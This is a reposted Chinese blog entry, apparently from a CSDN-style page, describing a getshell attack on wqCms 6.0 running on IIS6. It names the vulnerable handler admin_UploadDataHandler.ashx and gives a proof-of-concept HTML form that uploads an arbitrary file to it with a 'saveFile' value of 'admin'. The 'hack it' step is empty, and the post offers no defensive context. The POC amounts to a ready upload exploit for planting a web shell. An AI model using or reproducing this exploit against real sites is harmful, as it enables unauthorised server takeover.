wqCms6.0在IIS6的Getshell

ai74583

于 2017-02-22 21:21:00 发布

阅读量158

点赞数

原文链接：http://www.cnblogs.com/Akkuman/p/6959308.html

版权

2017-02-15发布

一、漏洞利用点

漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点

二、hack it

三、POC

<html>
    <body>
        <form action="http://127.0.0.1/admin_UploadDataHandler.ashx" method="POST"enctype="multipart/form-data">
            <input  type="file" name="uploadify" />
            <input  type="text" name="saveFile" value="admin" />
            <input type="submit" name="Upload" value="Submit Query" />
        </form>
    </body>
</html>

转自群友论坛文章wobushou

转载于:https://www.cnblogs.com/Akkuman/p/6959308.html

ai74583

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
wqCms6.0在IIS6的Getshell

2017-02-15发布一、漏洞利用点漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点二、hack it三、POC<html> <body> <form action="http://127.0.0.1/admin_UploadDataHandler.ashx" method="PO...
复制链接

扫一扫